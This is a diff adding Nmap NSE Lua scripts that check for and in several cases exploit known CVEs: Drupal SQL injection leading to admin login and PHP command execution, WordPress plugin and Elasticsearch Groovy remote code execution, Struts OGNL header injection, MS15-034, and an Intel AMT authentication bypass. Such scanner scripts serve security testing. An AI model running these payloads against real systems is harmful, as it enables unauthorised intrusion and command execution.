+ ['op'] = 'Preview',
+ }
+ local body = multipart_build_body(files, boundary)
+
+ res = http.post(host, port, uri .. "?q=/node/add/article", opt, nil, body)
+ if res == nil then return nil end
+
+ return res.body, pattern
+end
+
+action = function(host, port)
+
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
+ local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+ local cleanup = nil
+ if stdnse.get_script_args(SCRIPT_NAME..".cleanup") == "false" then
+ cleanup = "false"
+ end
+
+ local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
+ local vuln = {
+ title = 'Drupal - pre Auth SQL Injection Vulnerability',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ The expandArguments function in the database abstraction API in
+ Drupal core 7.x before 7.32 does not properly construct prepared
+ statements, which allows remote attackers to conduct SQL injection
+ attacks via an array containing crafted keys.
+ ]],
+ IDS = {CVE = 'CVE-2014-3704'},
+ references = {
+ 'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html',
+ 'https://www.drupal.org/SA-CORE-2014-005',
+ 'http://www.securityfocus.com/bid/70595',
+ },
+ dates = {
+ disclosure = {year = '2014', month = '10', day = '15'},
+ },
+ }
+
+ local user, passwd = do_sql_query(host, port, uri, nil)
+
+ if user == nil or passwd == nil then
+ return vulnReport:make_output(vuln)
+ end
+
+ stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd))
+
+ vuln.state = vulns.STATE.EXPLOIT
+
+ local data = {
+ ['name'] = user,
+ ['pass'] = passwd,
+ ['form_id'] = 'user_login',
+ ['op'] = 'Log in',
+ }
+
+ local res = http.post(host, port, uri .. "?q=/user/login", nil, nil, data)
+
+ if res.status == 302 and res.cookies[1].name ~= nil then
+
+ stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd))
+
+ if cmd ~= nil then
+ local session = {}
+ session.name = res.cookies[1].name
+ session.value = res.cookies[1].value
+
+ set_php_filter(host, port, uri, session, false)
+
+ set_permission(host, port, uri, session, false)
+
+ local resp_content, pattern = trigger_exploit(host, port, uri, session, cmd)
+
+ local cmdOut = nil
+ for m in string.gmatch(resp_content, pattern .. '([^"]*)' .. pattern) do
+ cmdOut = m
+ break
+ end
+
+ if cmdOut ~= nil then
+ vuln.exploit_results = cmdOut
+ end
+
+ -- cleanup: restore permission & disable php filter module
+ if cleanup == nil then
+ set_permission(host, port, uri, session, true)
+ set_php_filter(host, port, uri, session, true)
+ end
+ end
+
+ else
+ vuln.state = vulns.STATE.LIKELY_VULN
+ vuln.check_results = "Account created but unable to log in."
+ end
+
+ -- cleanup: remove admin user
+ if cleanup == nil then
+ do_sql_query(host, port, uri, user)
+ end
+
+ return vulnReport:make_output(vuln)
+
+end
diff --git a/scripts/http-vuln-cve2014-8877.nse b/scripts/http-vuln-cve2014-8877.nse
new file mode 100644
index 0000000..1b9be3e
--- /dev/null
+++ b/scripts/http-vuln-cve2014-8877.nse
@@ -0,0 +1,134 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local url = require "url"
+local vulns = require "vulns"
+local base64 = require "base64"
+local rand = require "rand"
+
+description = [[
+Exploits a remote code injection vulnerability (CVE-2014-8877) in Wordpress CM
+Download Manager plugin. Versions <= 2.0.0 are known to be affected.
+
+CM Download Manager plugin does not correctly sanitise the user input which
+allows remote attackers to execute arbitrary PHP code via the CMDsearch
+parameter to cmdownloads/, which is processed by the PHP 'create_function'
+function.
+
+The script injects PHP system() function into the vulnerable target in order to
+execute specified shell command.
+]]
+
+---
+-- @usage
+-- nmap --script http-vuln-cve2014-8877 --script-args http-vuln-cve2014-8877.cmd="whoami",http-vuln-cve2014-8877.uri="/wordpress" <target>
+-- nmap --script http-vuln-cve2014-8877 <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2014-8877:
+-- | VULNERABLE:
+-- | Code Injection in Wordpress CM Download Manager plugin
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2014-8877
+-- | CM Download Manager plugin does not correctly sanitise the user input
+-- | which allows remote attackers to execute arbitrary PHP code via the
+-- | CMDsearch parameter to cmdownloads/, which is processed by the PHP
+-- | 'create_function' function.
+-- |
+-- | Disclosure date: 2014-11-14
+-- | Exploit results:
+-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
+-- | References:
+-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8877
+--
+-- @args http-vuln-cve2014-8877.uri Wordpress root directory on the website. Default: /
+-- @args http-vuln-cve2014-8877.cmd Command to execute. Default: nil
+---
+
+author = "Mariusz Ziulek <mzet()owasp org>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+portrule = shortport.http
+
+function genHttpReq(host, port, uri, cmd)
+ local rnd = nil
+ local payload = nil
+ local vulnPath = '/cmdownloads/?CMDsearch='
+
+ if cmd ~= nil then
+ payload = '".system("'..cmd..'")."'
+ else
+ rnd = rand.random_alpha(15)
+ local encRnd = base64.enc(rnd)
+ payload = '".base64_decode("'..encRnd..'")."'
+ end
+
+ local finalUri = uri..vulnPath..url.escape(payload)
+ local req = http.get(host, port, finalUri)
+
+ stdnse.debug(1, ("Sending GET '%s%s%s' request"):format(uri, vulnPath, payload))
+
+ if not(rnd) then
+ return req
+ else
+ return req, rnd
+ end
+end
+
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
+ local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+
+ local rnd = nil
+ local req, rnd = genHttpReq(host, port, uri, nil)
+
+ -- check if target is vulnerable
+ if req.status == 200 and string.match(req.body, rnd) ~= nil then
+ local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
+ local vuln = {
+ title = 'Code Injection in Wordpress CM Download Manager plugin',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+CM Download Manager plugin does not correctly sanitise the user input
+which allows remote attackers to execute arbitrary PHP code via the
+CMDsearch parameter to cmdownloads/, which is processed by the PHP
+'create_function' function.
+ ]],
+ IDS = {CVE = 'CVE-2014-8877'},
+ references = {
+ 'www.securityfocus.com/bid/71204/'
+ },
+ dates = {
+ disclosure = {year = '2014', month = '11', day = '14'},
+ },
+ }
+ stdnse.debug(1, string.format("Random string '%s' was found in the body response. Host seems to be vulnerable.", rnd))
+ vuln.state = vulns.STATE.EXPLOIT
+
+ -- exploit the vulnerability
+ if cmd ~= nil then
+ -- wrap cmd with pattern which is used to filter out only relevant output from the response
+ local pattern = rand.random_alpha(5)
+ req = genHttpReq(host, port, uri, 'echo '..pattern..';'..cmd..';echo '..pattern..';')
+
+ if req.status == 200 then
+ -- take first lazy match as command output
+ local cmdOut = nil
+ for m in string.gmatch(req.body, pattern..'\n(.-)\n'..pattern) do
+ cmdOut = m
+ break
+ end
+
+ if cmdOut ~= nil then
+ vuln.exploit_results = cmdOut
+ end
+ end
+ end
+
+ return vulnReport:make_output(vuln)
+ end
+end
diff --git a/scripts/http-vuln-cve2015-1427.nse b/scripts/http-vuln-cve2015-1427.nse
new file mode 100644
index 0000000..342df6f
--- /dev/null
+++ b/scripts/http-vuln-cve2015-1427.nse
@@ -0,0 +1,210 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local json = require "json"
+local nmap = require "nmap"
+local rand = require "rand"
+
+description = [[
+This script attempts to detect a vulnerability, CVE-2015-1427, which allows attackers
+ to leverage features of this API to gain unauthenticated remote code execution (RCE).
+
+ Elasticsearch versions 1.3.0-1.3.7 and 1.4.0-1.4.2 have a vulnerability in the Groovy scripting engine.
+ The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell
+ commands as the user running the Elasticsearch Java VM.
+ ]]
+
+---
+-- @args command Enter the shell comannd to be executed. The script outputs the Java
+-- and Elasticsearch versions by default.
+-- @args invasive If set to true then it creates an index if there are no indices.
+--
+-- @usage
+-- nmap --script=http-vuln-cve2015-1427 --script-args command= 'ls' <targets>
+--
+--@output
+-- | http-vuln-cve2015-1427:
+-- | VULNERABLE:
+-- | ElasticSearch CVE-2015-1427 RCE Exploit
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2015-1427
+-- | Risk factor: High CVSS2: 7.5
+-- | The vulnerability allows an attacker to construct Groovy
+-- | scripts that escape the sandbox and execute shell commands as the user
+-- | running the Elasticsearch Java VM.
+-- | Exploit results:
+-- | ElasticSearch version: 1.3.7
+-- | Java version: 1.8.0_45
+-- | References:
+-- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
+-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
+-- | https://github.com/elastic/elasticsearch/issues/9655
+-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427
+
+author = {"Gyanendra Mishra", "Daniel Miller"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"vuln", "intrusive"}
+
+portrule = shortport.port_or_service(9200, "http", "tcp")
+
+
+local function parseResult(parsed)
+ -- for commands that return printable results
+ if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
+ return parsed.hits.hits[1].fields.exploit[1]
+ end
+ -- mkdir(etc) command seems to work but as it returns no result
+ if parsed.hits.total > 0 then
+ return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
+ end
+ return false
+end
+
+action = function(host, port)
+
+ local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
+ local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")
+
+ local payload = {
+ size= 1,
+ query= {
+ match_all= {}
+ },
+ script_fields= {
+ exploit= {
+ lang= "groovy",
+ -- This proves vulnerability because the fix was to prevent access to
+ -- .class and .forName
+ script= '"ElasticSearch version: "+\z
+ java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
+ "\\n Java version: "+\z
+ java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
+ }
+ }
+ }
+ if command then
+ payload.script_fields.exploit.script = string.format(
+ 'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
+ java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
+ java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
+ %s).getInputStream()).useDelimiter("highlyunusualstring").next()',
+ json.generate(command))
+ end
+
+ local json_payload = json.generate(payload)
+
+ local vuln_table = {
+ title = "ElasticSearch CVE-2015-1427 RCE Exploit",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ references = {
+ 'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
+ 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
+ 'https://github.com/elastic/elasticsearch/issues/9655'
+ },
+ IDS = {
+ CVE = 'CVE-2015-1427'
+ },
+ scores = {
+ CVSS2 = '7.5'
+ },
+ description = [[The vulnerability allows an attacker to construct Groovy
+ scripts that escape the sandbox and execute shell commands as the user
+ running the Elasticsearch Java VM.]]
+ }
+
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local cleanup = function() return end
+ local nocache = {no_cache=true, bypass_cache=true}
+ --lets check the elastic search version.
+ local response = http.get(host, port, '/')
+ if response.status == 200 and response.body then
+ local status, parsed = json.parse(response.body)
+ if not(status) then
+ stdnse.debug1('Parsing JSON failed(version checking). Probably not running Elasticsearch')
+ return nil
+ else
+ if parsed.version.number then
+ --check if a vulnerable version is running
+ if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then
+ vuln_table.state = vulns.STATE.LIKELY_VULN
+ end
+ --help the version/service detection.
+ port.version = {
+ name = 'elasticsearch',
+ name_confidence = 10,
+ product = 'Elastic elasticsearch',
+ version = tostring(parsed.version.number),
+ service_tunnel = 'none',
+ cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)}
+ }
+ nmap.set_port_version(host,port,'hardmatched')
+ else
+ stdnse.debug1('Cant Be Elastic search as no version number present.')
+ return nil
+ end
+ end
+ else
+ stdnse.debug1('Not Running Elastic Search.')
+ return nil
+ end
+
+ -- check if it is indexed, if not create index
+ response = http.get(host,port,'_cat/indices', nocache)
+ if response.status ~= 200 then
+ stdnse.debug1( "Couldnt fetch indices.")
+ return report:make_output(vuln_table)
+ elseif response.body == '' then
+ if invasive then
+ local rand = rand.random_alpha(8)
+ cleanup = function()
+ local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
+ if r.status ~= 200 or not r.body:match('"acknowledged":true') then
+ stdnse.debug1( "Could not delete index created by invasive script-arg")
+ end
+ end
+ local data = { [rand] = rand }
+ stdnse.debug1("Creating Index. 5 seconds wait.")
+ response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
+ if not(response.status == 201) then
+ stdnse.debug1( "Didnt have any index. Creating index failed.")
+ return report:make_output(vuln_table)
+ end
+ stdnse.sleep(5) -- search will not return results immediately
+ else
+ stdnse.debug1("Not Indexed. Try the invasive option ;)")
+ return report:make_output(vuln_table)
+ end
+ end
+
+ --execute the command
+
+ local target = '_search'
+ response = http.post(host, port, target ,nil ,nil ,(json_payload))
+
+ if not(response.body) or not(response.status==200) then
+ cleanup()
+ return report:make_output(vuln_table)
+ else
+ local status,parsed = json.parse(response.body)
+ if ( not(status) ) then
+ stdnse.debug1("JSON not parsable.")
+ cleanup()
+ return report:make_output(vuln_table)
+ end
+ --if the parseResult function returns something then lets go ahead
+ local results = parseResult(parsed)
+ if results then
+ vuln_table.state = vulns.STATE.EXPLOIT
+ vuln_table.exploit_results = results
+ end
+ end
+
+ cleanup()
+ return report:make_output(vuln_table)
+end
diff --git a/scripts/http-vuln-cve2015-1635.nse b/scripts/http-vuln-cve2015-1635.nse
new file mode 100644
index 0000000..23814e6
--- /dev/null
+++ b/scripts/http-vuln-cve2015-1635.nse
@@ -0,0 +1,86 @@
+local shortport = require "shortport"
+local http = require "http"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+local rand = require "rand"
+
+description = [[
+Checks for a remote code execution vulnerability (MS15-034) in Microsoft Windows systems (CVE2015-2015-1635).
+
+The script sends a specially crafted HTTP request with no impact on the system to detect this vulnerability.
+The affected versions are Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1,
+and Windows Server 2012 R2.
+
+References:
+* https://technet.microsoft.com/library/security/MS15-034
+]]
+
+---
+-- @usage nmap -sV --script vuln <target>
+-- @usage nmap -p80 --script http-vuln-cve2015-1635.nse <target>
+-- @usage nmap -sV --script http-vuln-cve2015-1635 --script-args uri='/anotheruri/' <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2015-1635:
+-- | VULNERABLE:
+-- | Remote Code Execution in HTTP.sys (MS15-034)
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2015-1635
+-- | A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is
+-- | caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who
+-- | successfully exploited this vulnerability could execute arbitrary code in the context of the System account.
+-- |
+-- | Disclosure date: 2015-04-14
+-- | References:
+-- | https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
+-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635
+-- @args http-vuln-cve2015-1635.uri URI to use in request. Default: /
+---
+
+author = {"Kl0nEz", "Paulino <calderon()websec.mx>"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+portrule = shortport.http
+
+local VULNERABLE = "Requested Range Not Satisfiable"
+local PATCHED = "The request has an invalid header name"
+
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local vuln = {
+ title = 'Remote Code Execution in HTTP.sys (MS15-034)',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+A remote code execution vulnerability exists in the HTTP protocol stack (HTTP.sys) that is
+caused when HTTP.sys improperly parses specially crafted HTTP requests. An attacker who
+successfully exploited this vulnerability could execute arbitrary code in the context of the System account.
+ ]],
+ IDS = {CVE = 'CVE-2015-1635'},
+ references = {
+ 'https://technet.microsoft.com/en-us/library/security/ms15-034.aspx'
+ },
+ dates = {
+ disclosure = {year = '2015', month = '04', day = '14'},
+ }
+ }
+ local options = {header={}}
+ options['header']['Host'] = rand.random_alpha(8)
+ options['header']['Range'] = "bytes=0-18446744073709551615"
+
+ local response = http.get(host, port, uri, options)
+ if response.status and response.body then
+ if response.status == 416 and string.find(response.body, VULNERABLE) ~= nil
+ and string.find(response.header["server"], "Microsoft") ~= nil then
+ vuln.state = vulns.STATE.VULN
+ end
+ if response.body and string.find(response.body, PATCHED) ~= nil then
+ stdnse.debug2("System is patched!")
+ vuln.state = vulns.STATE.NOT_VULN
+ end
+ end
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-vuln-cve2017-1001000.nse b/scripts/http-vuln-cve2017-1001000.nse
new file mode 100644
index 0000000..ed32580
--- /dev/null
+++ b/scripts/http-vuln-cve2017-1001000.nse
@@ -0,0 +1,126 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local vulns = require "vulns"
+local json = require "json"
+
+description = [[
+Attempts to detect a privilege escalation vulnerability in Wordpress 4.7.0 and 4.7.1 that
+allows unauthenticated users to inject content in posts.
+
+The script connects to the Wordpress REST API to obtain the list of published posts and
+grabs the user id and date from there. Then it attempts to update the date field in the
+post with the same date information we just obtained. If the request doesn’t return an
+error, we mark the server as vulnerable.
+
+References:
+https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
+
+ ]]
+
+---
+-- @usage
+-- nmap --script http-vuln-cve2017-1001000 --script-args http-vuln-cve2017-1001000="uri" <target>
+-- nmap --script http-vuln-cve2017-1001000 <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2017-1001000:
+-- | VULNERABLE:
+-- | Content Injection in Wordpress REST API
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2017-1001000
+-- | Risk factor: Medium CVSSv2: 5.0 (MEDIUM)
+-- | The privilege escalation vulnerability in WordPress REST API allows
+-- | the visitors to edit any post on the site
+-- | Versions 4.7.0 and 4.7.1 are known to be affected
+-- |
+-- | References:
+-- |_ https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html
+--
+-- @xmloutput
+-- <table key="CVE-2017-1001000">
+-- <elem key="title">Content Injection in Wordpress REST API</elem>
+-- <elem key="state">VULNERABLE (Exploitable)</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2017-1001000</elem>
+-- </table>
+-- <table key="scores">
+-- <elem key="CVSSv2">5.0 (MEDIUM)</elem>
+-- </table>
+-- <table key="description">
+-- <elem>The privilege escalation vulnerability in WordPress REST API allows&#xa; the visitors to edit
+-- any post on the site.&#xa; Versions 4.7.0 and 4.7.1 are known to be affected&#xa;
+-- </elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html</elem>
+-- </table>
+-- </table>
+--
+-- @args http-vuln-cve2017-1001000.uri Wordpress root directory on the website. Default: /
+---
+
+author = "Vinamra Bhatia"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "safe"}
+
+portrule = shortport.http
+
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
+ uri = uri .. 'index.php/wp-json/wp/v2/posts/' --Uri is appended to get the JSON data
+
+ local response = http.get(host, port, uri, nil)
+
+ if response.status and response.status == 200 then
+ local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
+ local vuln_table = {
+ title = 'Content Injection Vulnerability in Wordpress REST API',
+ state = vulns.STATE.NOT_VULN, --default Non Vulnerable State
+ IDS = {CVE = 'CVE-2017-1001000'},
+ risk_factor = "Medium",
+ scores = {
+ CVSSv2 = "5.0 (MEDIUM)",
+ },
+ description = [[
+The privilege escalation vulnerability in WordPress REST API allows
+the visitors to edit any post on the site .
+Versions 4.7.0 and 4.7.1 are known to be affected.
+ ]],
+ references = {
+ 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'
+ },
+ }
+
+ local status, json_data = json.parse(response.body)
+
+ --Parsing the json_data to get the ID of the first post and the date.
+ local id=json_data[1].id
+ local content=json_data[1].date
+
+ if(id==nil or content==nil) then
+ return vulnReport:make_output(vuln_table)
+ end
+
+ --Modifying the uri and checking for response.
+ --Date modification request is being sent.
+ uri = uri ..id..'/'..'?id=' .. id ..'abc'..'&date='..content
+
+ local request_opts = {
+ header = {
+ },
+ }
+
+ request_opts["header"]["Content-type"] = 'application/json'
+ local response1 = http.post(host, port, uri, request_opts)
+
+ --If response is correct, means the site allowed the modification
+ --of the post and it is vulnerable.
+ if(response1.status and response1.status==200) then
+ vuln_table.state = vulns.STATE.VULN
+ end
+ return vulnReport:make_output(vuln_table)
+ end
+end
diff --git a/scripts/http-vuln-cve2017-5638.nse b/scripts/http-vuln-cve2017-5638.nse
new file mode 100644
index 0000000..60c3d3b
--- /dev/null
+++ b/scripts/http-vuln-cve2017-5638.nse
@@ -0,0 +1,78 @@
+description = [[
+Detects whether the specified URL is vulnerable to the Apache Struts
+Remote Code Execution Vulnerability (CVE-2017-5638).
+]]
+
+local http = require "http"
+local shortport = require "shortport"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+local string = require "string"
+local rand = require "rand"
+
+---
+-- @usage
+-- nmap -p <port> --script http-vuln-cve2017-5638 <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-vuln-cve2017-5638:
+-- | VULNERABLE
+-- | Apache Struts Remote Code Execution Vulnerability
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2017-5638
+-- |
+-- | Disclosure date: 2017-03-07
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
+-- | https://cwiki.apache.org/confluence/display/WW/S2-045
+-- |_ http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
+--
+-- @args http-vuln-cve2017-5638.method The HTTP method for the request. The default method is "GET".
+-- @args http-vuln-cve2017-5638.path The URL path to request. The default path is "/".
+
+author = "Seth Jackson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "vuln" }
+
+portrule = shortport.http
+
+action = function(host, port)
+ local vuln = {
+ title = "Apache Struts Remote Code Execution Vulnerability",
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
+vulnerability via the Content-Type header.
+ ]],
+ IDS = {
+ CVE = "CVE-2017-5638"
+ },
+ references = {
+ 'https://cwiki.apache.org/confluence/display/WW/S2-045',
+ 'http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html'
+ },
+ dates = {
+ disclosure = { year = '2017', month = '03', day = '07' }
+ }
+ }
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local method = stdnse.get_script_args(SCRIPT_NAME..".method") or "GET"
+ local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
+ local value = rand.random_alpha(8)
+
+ local header = {
+ ["Content-Type"] = string.format("%%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Check-Struts', '%s')}.multipart/form-data", value)
+ }
+
+ local response = http.generic_request(host, port, method, path, { header = header })
+
+ if response and response.status == 200 and response.header["x-check-struts"] == value then
+ vuln.state = vulns.STATE.VULN
+ end
+
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-vuln-cve2017-5689.nse b/scripts/http-vuln-cve2017-5689.nse
new file mode 100644
index 0000000..e9c4686
--- /dev/null
+++ b/scripts/http-vuln-cve2017-5689.nse
@@ -0,0 +1,127 @@
+description = [[
+Detects if a system with Intel Active Management Technology is vulnerable to the INTEL-SA-00075
+privilege escalation vulnerability (CVE2017-5689).
+
+This script determines if a target is vulnerable by attempting to perform digest authentication
+with a blank response parameter. If the authentication succeeds, a HTTP 200 response is received.
+
+References:
+* https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
+]]
+
+local string = require "string"
+local http = require "http"
+local shortport = require "shortport"
+local vulns = require "vulns"
+local rand = require "rand"
+
+---
+-- @usage
+-- nmap -p 16992 --script http-vuln-cve2017-5689 <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 16992/tcp open amt-soap-http syn-ack
+-- | http-vuln-cve2017-5689:
+-- | VULNERABLE:
+-- | Intel Active Management Technology INTEL-SA-00075 Authentication Bypass
+-- | State: VULNERABLE
+-- | IDs: CVE:CVE-2017-5689 BID:98269
+-- | Risk factor: High CVSSv2: 10.0 (HIGH) (AV:N/AC:L/AU:N/C:C/I:C/A:C)
+-- | Intel Active Management Technology is vulnerable to an authentication bypass that
+-- | can be exploited by performing digest authentication and sending a blank response
+-- | digest parameter.
+-- |
+-- | Disclosure date: 2017-05-01
+-- | References:
+-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5689
+-- | https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
+-- | http://www.securityfocus.com/bid/98269
+-- | https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
+-- | https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability
+-- |_ https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
+--
+-- @xmloutput
+-- <table key="CVE-2017-5689">
+-- <elem key="title">Intel Active Management Technology INTEL-SA-00075 Authentication Bypass</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="ids">
+-- <elem>CVE:CVE-2017-5689</elem>
+-- <elem>BID:98269</elem>
+-- </table>
+-- <table key="scores">
+-- <elem key="CVSSv2">10.0 (HIGH) (AV:N/AC:L/AU:N/C:C/I:C/A:C)</elem>
+-- </table>
+-- <table key="description">
+-- <elem>Intel Active Management Technology is vulnerable to an authentication bypass that&#xa;can be
+-- exploited by performing digest authentication and sending a blank response&#xa;digest parameter.&#xa;
+-- </elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="month">05</elem>
+-- <elem key="day">01</elem>
+-- <elem key="year">2017</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2017-05-01</elem>
+-- <table key="refs">
+-- <elem>https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&amp;languageid=en-fr</elem>
+-- <elem>https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf</elem>
+-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5689</elem>
+-- <elem>https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability</elem>
+-- <elem>https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability</elem>
+-- <elem>http://www.securityfocus.com/bid/98269</elem>
+-- </table>
+-- </table>
+---
+
+author = "Andrew Orr"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "vuln", "auth", "exploit" }
+
+portrule = shortport.port_or_service({623, 664, 16992, 16993}, "amt-soap-http")
+
+action = function(host, port)
+ local vuln = {
+ title = "Intel Active Management Technology INTEL-SA-00075 Authentication Bypass",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ scores = {
+ CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/AU:N/C:C/I:C/A:C)",
+ },
+ description = [[
+Intel Active Management Technology is vulnerable to an authentication bypass that
+can be exploited by performing digest authentication and sending a blank response
+digest parameter.
+ ]],
+ IDS = {CVE = "CVE-2017-5689", BID = "98269"},
+ references = {
+ 'https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr',
+ 'https://www.embedi.com/news/what-you-need-know-about-intel-amt-vulnerability',
+ 'https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf',
+ 'https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability'
+ },
+ dates = { disclosure = { year = '2017', month = '05', day = '01' } }
+ }
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local response = http.get(host, port, '/index.htm')
+
+ if response.header['server'] and response.header['server']:find('Intel(R)', 1, true)
+ and response.status and response.status == 401 then
+ local www_authenticate = http.parse_www_authenticate(response.header['www-authenticate'])
+ if www_authenticate[1]['params'] and www_authenticate[1]['params']['realm'] and www_authenticate[1]['params']['nonce'] then
+ local auth_header = string.format("Digest username=\"admin\", realm=\"%s\", nonce=\"%s\", uri=\"index.htm\"," ..
+ "cnonce=\"%s\", nc=1, qop=\"auth\", response=\"\"", www_authenticate[1]['params']['realm'],
+ www_authenticate[1]['params']['nonce'], rand.random_alpha(10))
+ local opt = { header = { ['Authorization'] = auth_header } }
+ response = http.get(host, port, '/index.htm', opt)
+ if response.status and response.status == 200 then
+ vuln.state = vulns.STATE.VULN
+ end
+ end
+ end
+
+ return vuln_report:make_output(vuln)
+end
